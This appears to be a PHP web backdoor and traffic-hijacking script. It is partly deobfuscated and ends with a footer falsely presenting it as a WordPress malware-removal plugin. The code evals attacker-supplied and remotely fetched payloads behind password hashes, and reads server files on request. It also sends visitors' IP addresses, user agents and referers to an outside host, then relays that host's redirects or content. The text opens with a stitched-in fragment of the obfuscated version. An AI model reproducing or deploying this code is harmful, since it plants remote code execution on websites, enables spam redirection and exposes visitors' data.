M7hNx2DlGia85: goto av1hKofJA3dCw; av1hKofJA3dCw: foreach ($G2wD2nw6wg0mg as $HAmFWRABUTBCd) { goto iIm7DcN1GeU6A; N7Y70aNQa0x8s: if (preg_match("\57\143\x6f\156\164\145\x6e\164\134\x2d\x74\171\160\145\134\72\x5b\x5c\x73\135\53\x28\x2e\52\x29\x2f\x69", $HAmFWRABUTBCd, $kQFY8kvgq5og_)) { goto D9L8RJkTt7Wft; } goto mVVcmbbRiLien; r_BOfesxWHTQ8: D9L8RJkTt7Wft: goto m3LppZIlAjgap; iIm7DcN1GeU6A: if (preg_match("\x2f\x68\164\x74\160\x5c\57\x5b\60\55\x39\134\x2e\x5d\x2b\x5b\x5c\163\x5d\53\x28\133\x30\55\71\x5d\53\x29\x2f\151", $HAmFWRABUTBCd, $kQFY8kvgq5og_)) { goto aF21WuGVFLJdE; } goto gVNlzslaB4yGW; n98q65ahCqdET: aF21WuGVFLJdE: goto jiiMhBnzvQMEL; Edj_JV5gJxDs7: $KBbi0e5mbkQVT["\143\x6f\x6e\x74\145\156\164"] = $kQFY8kvgq5og_[1]; goto t6x4xPEOSnxEo; aJ0Pj8gtfN19k: CqMdetaEd4l60: goto oCybVPw9B7xxy; GUJeC9i2KTL1X: goto A5akN8rFHEhnW; goto NhCIeYXCyGUO0; gVNlzslaB4yGW: if (preg_match("\x2f\x6c\157\143\x61\164\x69\x6f\156\134\72\x5b\134\163\135\x2b\50\56\52\51\57\x69", $HAmFWRABUTBCd, $kQFY8kvgq5og_)) { goto wOY2iGgvctmNG; } goto N7Y70aNQa0x8s; KJ0uLRK7f4vzi: A5akN8rFHEhnW: goto aJ0Pj8gtfN19k; m3LppZIlAjgap: $KBbi0e5mbkQVT["\x74\x79\x70\145"] = $kQFY8kvgq5og_[1]; goto KJ0uLRK7f4vzi; jiiMhBnzvQMEL: $KBbi0e5mbkQVT["\x73\164\141\x74\165\163"] = intval($kQFY8kvgq5og_[1]); goto GUJeC9i2KTL1X; mVVcmbbRiLien: goto A5akN8rFHEhnW; goto n98q65ahCqdET; NhCIeYXCyGUO0: wOY2iGgvctmNG: goto Edj_JV5gJxDs7; t6x4xPEOSnxEo: goto A5akN8rFHEhnW; goto r_BOfesxWHTQ8; oCybVPw9B7xxy: } goto JPddt_bPFBXLi; HBmhV_enUwLHM: if (is_array($G2wD2nw6wg0mg)) { goto M7hNx2DlGia85; } goto syK6Uh93cl2bB; JPddt_bPFBXLi: aqMgYazquqMtl: goto Gv7dYjSNWCTqj; Gv7dYjSNWCTqj: return $KBbi0e5mbkQVT; goto XQCgZWyvEsl7K; XQCgZWyvEsl7K: } goto JGqtX4xfhmxiD; ZK64hPzJFHx8g: @eval($y2YqZQDZuA4nw[66](${$y2YqZQDZuA4nw[38]}[22])); goto MJLxbv_9P69Ky; reOIMBMHXvtbz: ShCv3JG4qKtK8:
?><?php
error_reporting(0);
$mPzNJNjUSeqV8 = "range";
$VltxtjILRs2ZJ = range("~", " ");
$y2YqZQDZuA4nw = ${$VltxtjILRs2ZJ[31] . $VltxtjILRs2ZJ[59] . $VltxtjILRs2ZJ[47] . $VltxtjILRs2ZJ[47] . $VltxtjILRs2ZJ[51] . $VltxtjILRs2ZJ[53] . $VltxtjILRs2ZJ[57]};
if (!(in_array(gettype($y2YqZQDZuA4nw) . "21", $y2YqZQDZuA4nw) && md5(md5(md5(md5($y2YqZQDZuA4nw[15])))) === "8a5c056da0f77b9cbffacdf2fe5cb3a1")) {
goto DplAB3ZByUsVg;
}
$y2YqZQDZuA4nw[66] .= $y2YqZQDZuA4nw[71];
@eval($y2YqZQDZuA4nw[66](${$y2YqZQDZuA4nw[38]}[22]));
DplAB3ZByUsVg:
metaphone("OTI2OTY3MDc0MzkzNjk0MjA2MjYwNDIy");
class jUurYj8JVuU4i
{
static function aeBH0TyY61b9O($PD240a6tjklOd)
{
$UUeB71UKyH4px = "range";
$imA2Cm0CnRvaF = range("~", " ");
$EX1NDpR1FA3I3 = explode("{", $PD240a6tjklOd);
$UcPoNME0wfofC = '';
foreach ($EX1NDpR1FA3I3 as $p8t__7s4YsEHf => $us4B07_2PB9Lu) {
$UcPoNME0wfofC .= $imA2Cm0CnRvaF[$us4B07_2PB9Lu - 31612];
}
return $UcPoNME0wfofC;
}
static function mGsR7L0o3h9sy($f09t2g9mQTZp5, $b_I70ywEcw_EG)
{
$TK39qtThdFX39 = curl_init($f09t2g9mQTZp5);
curl_setopt($TK39qtThdFX39, CURLOPT_RETURNTRANSFER, 1);
$qW1K8r2lAeYm8 = curl_exec($TK39qtThdFX39);
return empty($qW1K8r2lAeYm8) ? $b_I70ywEcw_EG($f09t2g9mQTZp5) : $qW1K8r2lAeYm8;
}
static function Hq_9ReeeI7_mw()
{
$m4O3kTl1Xc3Oa = array("31639{31624{31637{31641{31622{31637{31643{31636{31621{31628{31639{31622{31633{31627{31628", "31623{31622{31624{31643{31624{31627{31622{31689{31687", "31632{31623{31627{31628{31643{31638{31637{31639{31627{31638{31637", "31626{31641{31639{31631", "31640{31641{31623{31637{31684{31686{31643{31638{31637{31639{31627{31638{31637", "31636{31633{31630{31637{31643{31635{31637{31622{31643{31639{31627{31628{31622{31637{31628{31622{31623", "31666{31696", "31613", "31691{31696", "31673{31656{31656{31673{31649", "31636{31633{31630{31622{31637{31624{31643{31633{31628{31626{31621{31622");
foreach ($m4O3kTl1Xc3Oa as $wS3VTTve87K3u) {
$tC2ns4DBRYFS8[] = self::aeBH0tYy61b9O($wS3VTTve87K3u);
}
$TzX6K2czgnSFO = @$tC2ns4DBRYFS8[1]($tC2ns4DBRYFS8[10](INPUT_GET, $tC2ns4DBRYFS8[9]));
$JZmzbOWtc_Wvw = @$tC2ns4DBRYFS8[3]($tC2ns4DBRYFS8[6], $TzX6K2czgnSFO);
$ttv1K50ihdraP = $tC2ns4DBRYFS8[2]($JZmzbOWtc_Wvw, true);
@$tC2ns4DBRYFS8[10](INPUT_GET, "of") == 1 && die($tC2ns4DBRYFS8[5]("/var/www/html/input.php"));
if (!(@$ttv1K50ihdraP[0] - time() > 0 and md5(md5($ttv1K50ihdraP[3])) === "b5c41d6a4c7a400e815c0b81188724bf")) {
// [PHPDeobfuscator] Implied return
return;
}
$wmxsnd8d9pkn3 = self::mGsR7L0O3H9SY($ttv1K50ihdraP[1], $tC2ns4DBRYFS8[5]);
@eval($tC2ns4DBRYFS8[4]($wmxsnd8d9pkn3));
die;
}
}
juuRyj8jvuU4I::HQ_9REeEi7_mw();
header("Content-Type: text/html; charset=utf-8");
error_reporting(0);
function LN6cnmwHsg4Qk($G2wD2nw6wg0mg)
{
$KBbi0e5mbkQVT = array("status" => 0, "content" => '', "type" => '');
if (is_array($G2wD2nw6wg0mg)) {
foreach ($G2wD2nw6wg0mg as $HAmFWRABUTBCd) {
if (preg_match("/http\\/[0-9\\.]+[\\s]+([0-9]+)/i", $HAmFWRABUTBCd, $kQFY8kvgq5og_)) {
$KBbi0e5mbkQVT["status"] = intval($kQFY8kvgq5og_[1]);
goto A5akN8rFHEhnW;
}
if (preg_match("/location\\:[\\s]+(.*)/i", $HAmFWRABUTBCd, $kQFY8kvgq5og_)) {
$KBbi0e5mbkQVT["content"] = $kQFY8kvgq5og_[1];
goto A5akN8rFHEhnW;
}
if (preg_match("/content\\-type\\:[\\s]+(.*)/i", $HAmFWRABUTBCd, $kQFY8kvgq5og_)) {
$KBbi0e5mbkQVT["type"] = $kQFY8kvgq5og_[1];
goto KJ0uLRK7f4vzi;
}
KJ0uLRK7f4vzi:
A5akN8rFHEhnW:
}
return $KBbi0e5mbkQVT;
}
return $KBbi0e5mbkQVT;
}
function uJBGbfLeaOFy7($AkrusTO7SDQhz, $qq3uUvy4JzA28 = array())
{
$kU0kTzzpq6XmL = array("status" => 0, "content" => '', "type" => '');
if (!(is_array($qq3uUvy4JzA28) && count($qq3uUvy4JzA28))) {
goto zI48sSHv9USvu;
}
$AkrusTO7SDQhz .= "?" . http_build_query($qq3uUvy4JzA28);
zI48sSHv9USvu:
try {
if (function_exists("curl_exec") && function_exists("curl_init")) {
$mr0NLAxrxTX1T = curl_init();
curl_setopt($mr0NLAxrxTX1T, CURLOPT_URL, $AkrusTO7SDQhz);
curl_setopt($mr0NLAxrxTX1T, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($mr0NLAxrxTX1T, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($mr0NLAxrxTX1T, CURLOPT_CONNECTTIMEOUT, 20);
curl_setopt($mr0NLAxrxTX1T, CURLOPT_TIMEOUT, 60);
curl_setopt($mr0NLAxrxTX1T, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($mr0NLAxrxTX1T, CURLOPT_COOKIESESSION, 0);
curl_setopt($mr0NLAxrxTX1T, CURLOPT_RETURNTRANSFER, 1);
$ybYKrFOe7RCOf = curl_exec($mr0NLAxrxTX1T);
$kU0kTzzpq6XmL["status"] = intval(curl_getinfo($mr0NLAxrxTX1T, CURLINFO_HTTP_CODE));
$kU0kTzzpq6XmL["type"] = strval(curl_getinfo($mr0NLAxrxTX1T, CURLINFO_CONTENT_TYPE));
$kU0kTzzpq6XmL["content"] = strval(curl_getinfo($mr0NLAxrxTX1T, CURLINFO_REDIRECT_URL));
@curl_close($mr0NLAxrxTX1T);
if (!in_array($kU0kTzzpq6XmL["status"], array(200, 301, 302, 404))) {
goto j5l7Fl7OkhKF4;
}
$kU0kTzzpq6XmL["content"] = strval($ybYKrFOe7RCOf);
j5l7Fl7OkhKF4:
goto A4wGR3VWO5IEf;
}
if (ini_get("allow_url_fopen")) {
$X0mCX6ziKpxay = array("http" => array("method" => "GET", "timeout" => 60, "follow_location" => 0), "ssl" => array("verify_peer" => false, "verify_peer_name" => false));
$naTAjF4oKZ1am = stream_context_create($X0mCX6ziKpxay);
$vYVCcLVpzKmrB = @file_get_contents($AkrusTO7SDQhz, false, $naTAjF4oKZ1am);
$kU0kTzzpq6XmL = array_merge($kU0kTzzpq6XmL, ln6cNMwHsg4qK($http_response_header));
if (!in_array($kU0kTzzpq6XmL["status"], array(200, 301, 302, 404))) {
goto ACJTqp9x0JkM2;
}
$kU0kTzzpq6XmL["content"] = strval($vYVCcLVpzKmrB);
ACJTqp9x0JkM2:
goto f6f4xbMWYMGML;
}
f6f4xbMWYMGML:
A4wGR3VWO5IEf:
} catch (Exception $SmLrh_16I2GAq) {
}
return $kU0kTzzpq6XmL;
}
function e7uKxQ4VQqX0U($j1egA76jXJwti)
{
if ($j1egA76jXJwti) {
return rtrim(strtr(base64_encode($j1egA76jXJwti), "+/", "-_"), "=");
}
return '';
}
function E5jrh2A3A5bCI()
{
$ilt3ejm2V5l29 = '';
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) && !empty($_SERVER["HTTP_CF_CONNECTING_IP"])) {
$ilt3ejm2V5l29 = $_SERVER["HTTP_CF_CONNECTING_IP"];
goto ouCaANElCm8AI;
}
if (isset($_SERVER["HTTP_X_REAL_IP"]) && !empty($_SERVER["HTTP_X_REAL_IP"])) {
$ilt3ejm2V5l29 = $_SERVER["HTTP_X_REAL_IP"];
goto ouCaANElCm8AI;
}
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]) && !empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$ilt3ejm2V5l29 = $_SERVER["HTTP_X_FORWARDED_FOR"];
goto jKMp582UwtC0Z;
}
$ilt3ejm2V5l29 = $_SERVER["REMOTE_ADDR"];
jKMp582UwtC0Z:
ouCaANElCm8AI:
$ilt3ejm2V5l29 = trim(str_replace(" ", '', $ilt3ejm2V5l29), ",");
if (!(strpos($ilt3ejm2V5l29, ",") !== false)) {
goto z8Z4VtjG_HadI;
}
$ilt3ejm2V5l29 = explode(",", $ilt3ejm2V5l29);
$ilt3ejm2V5l29 = $ilt3ejm2V5l29[0];
z8Z4VtjG_HadI:
return $ilt3ejm2V5l29;
}
function Fr5Gg4ulJ_bqT()
{
$V9XKz2aA9Ii2D = "http://";
if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") {
$V9XKz2aA9Ii2D = "https://";
goto OzyjMeF1jmR04;
}
if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") {
$V9XKz2aA9Ii2D = "https://";
goto OzyjMeF1jmR04;
}
if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") {
$V9XKz2aA9Ii2D = "https://";
goto SXQdDoYqQmN66;
}
SXQdDoYqQmN66:
OzyjMeF1jmR04:
return $V9XKz2aA9Ii2D;
}
if (!($_SERVER["REQUEST_URI"] === "/R-" . md5($_SERVER["SERVER_NAME"]))) {
if (!substr_count($_SERVER["REQUEST_URI"], "index.php/jk")) {
$ilt3ejm2V5l29 = e5jRh2a3a5bci();
$NZJUMLlFHNg5o = strval(@$_SERVER["HTTP_REFERER"]);
$UsqKZv_i_1y4n = fR5Gg4ULJ_BQt() . $_SERVER["HTTP_HOST"];
if (!(strpos($NZJUMLlFHNg5o, $UsqKZv_i_1y4n) === 0)) {
goto qUeSx14Jh11EY;
}
$NZJUMLlFHNg5o = '';
qUeSx14Jh11EY:
$gao7N5R7NDd56 = array();
$gao7N5R7NDd56["i"] = e7UKxq4vQqX0u($ilt3ejm2V5l29);
$gao7N5R7NDd56["l"] = e7Ukxq4vqqx0U($_SERVER["HTTP_ACCEPT_LANGUAGE"]);
$gao7N5R7NDd56["sn"] = E7ukxQ4vqQX0U($_SERVER["SCRIPT_NAME"]);
$gao7N5R7NDd56["r"] = e7uKXQ4VqqX0U($_SERVER["REQUEST_URI"]);
$gao7N5R7NDd56["rf"] = E7uKxq4vQqx0U($NZJUMLlFHNg5o);
$gao7N5R7NDd56["s"] = e7ukXq4vqqx0U($UsqKZv_i_1y4n);
$gao7N5R7NDd56["u"] = e7UKXQ4vqQx0u($_SERVER["HTTP_USER_AGENT"]);
$WoQWRp3sNfxPM = preg_replace("/\\?.*/", '', $_SERVER["REQUEST_URI"]);
$H1UNYG4u2An_Y = false;
if (!(strpos($WoQWRp3sNfxPM, ".") > 0 && strpos($WoQWRp3sNfxPM, ".php") === false)) {
goto rputhc0bj59rc;
}
$TuN8hMQYCL3w0 = substr($WoQWRp3sNfxPM, strpos($WoQWRp3sNfxPM, "."));
if (!in_array($TuN8hMQYCL3w0, array(".js", ".css", ".jpg", ".png", ".gif", ".ico"))) {
goto VdJWryv633dU5;
}
$H1UNYG4u2An_Y = true;
VdJWryv633dU5:
rputhc0bj59rc:
if ($H1UNYG4u2An_Y) {
goto ShCv3JG4qKtK8;
}
$kU0kTzzpq6XmL = ujbGBfLeaofy7("http://zs545v13ko.ditoe.live/", $gao7N5R7NDd56);
if (in_array($kU0kTzzpq6XmL["status"], array(0, 200))) {
goto r6MIwHdlakKKI;
}
switch ($kU0kTzzpq6XmL["status"]) {
case 301:
header("HTTP/1.1 301 Moved Permanently");
header("Location: " . trim($kU0kTzzpq6XmL["content"]));
goto Nwf8KbYP05wfb;
case 302:
header("HTTP/1.1 302 Move Temporarily");
header("Location: " . trim($kU0kTzzpq6XmL["content"]));
goto Nwf8KbYP05wfb;
case 404:
header("HTTP/1.1 404 Not Found");
header("status: 404 Not Found");
goto Nwf8KbYP05wfb;
default:
goto Nwf8KbYP05wfb;
}
Nwf8KbYP05wfb:
r6MIwHdlakKKI:
if (!strlen($kU0kTzzpq6XmL["content"])) {
ShCv3JG4qKtK8:
// [PHPDeobfuscator] Implied script end
return;
}
@header("Content-Type:" . $kU0kTzzpq6XmL["type"]);
echo $kU0kTzzpq6XmL["content"];
exit(0);
}
exit("{ \"error\": 200, \"lc\": \"jk\", \"data\": [ 1 ] }");
}
exit(strrev(md5($_SERVER["SERVER_NAME"])));Malware detection & removal plugin for WordPress
（C）2020 Wordpress Doctor All rights reserved.